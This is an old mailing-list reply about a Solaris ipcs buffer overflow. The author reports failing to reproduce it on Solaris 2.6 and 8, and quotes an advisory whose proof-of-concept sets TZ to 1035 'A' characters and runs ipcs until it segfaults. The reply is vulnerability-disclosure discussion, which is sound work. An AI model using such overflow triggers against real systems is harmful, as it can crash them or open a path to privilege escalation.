Re: Solaris ipcs vulnerability

From: Mike Batchelor (mikebatat_private)
Date: Mon Apr 16 2001 - 07:22:15 PDT

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    Failed to reproduce this problem on Solaris 2.6 and 8 for SPARC.  Ipcs
    behaved normally, except for printing out the long string of "A"'s in the
    output header where the timezone would appear.
    
    > Solaris ipcs vulnerability
    >
    > Release Date:
    > April 11, 2001
    >
    > Systems Affected:
    > Solaris 7 (x86)
    > Other versions of Solaris are most likely affected also.
    >
    > Discovered by:
    > Riley Hassell rileyat_private
    >
    > bash-2.03$ TZ=`perl -e 'print "A"x1035'`
    > bash-2.03$ /usr/bin/i86/ipcs
    > IPC status from as of Wed Apr 11 17:18:59 [buffer] 2001
    > Message Queue facility inactive.
    > T ID KEY MODE OWNER GROUP
    > Shared Memory:
    > m 0 0x500004d3 --rw-r--r-- root root
    > Semaphore facility inactive.
    > Segmentation Fault (core dumped)
    



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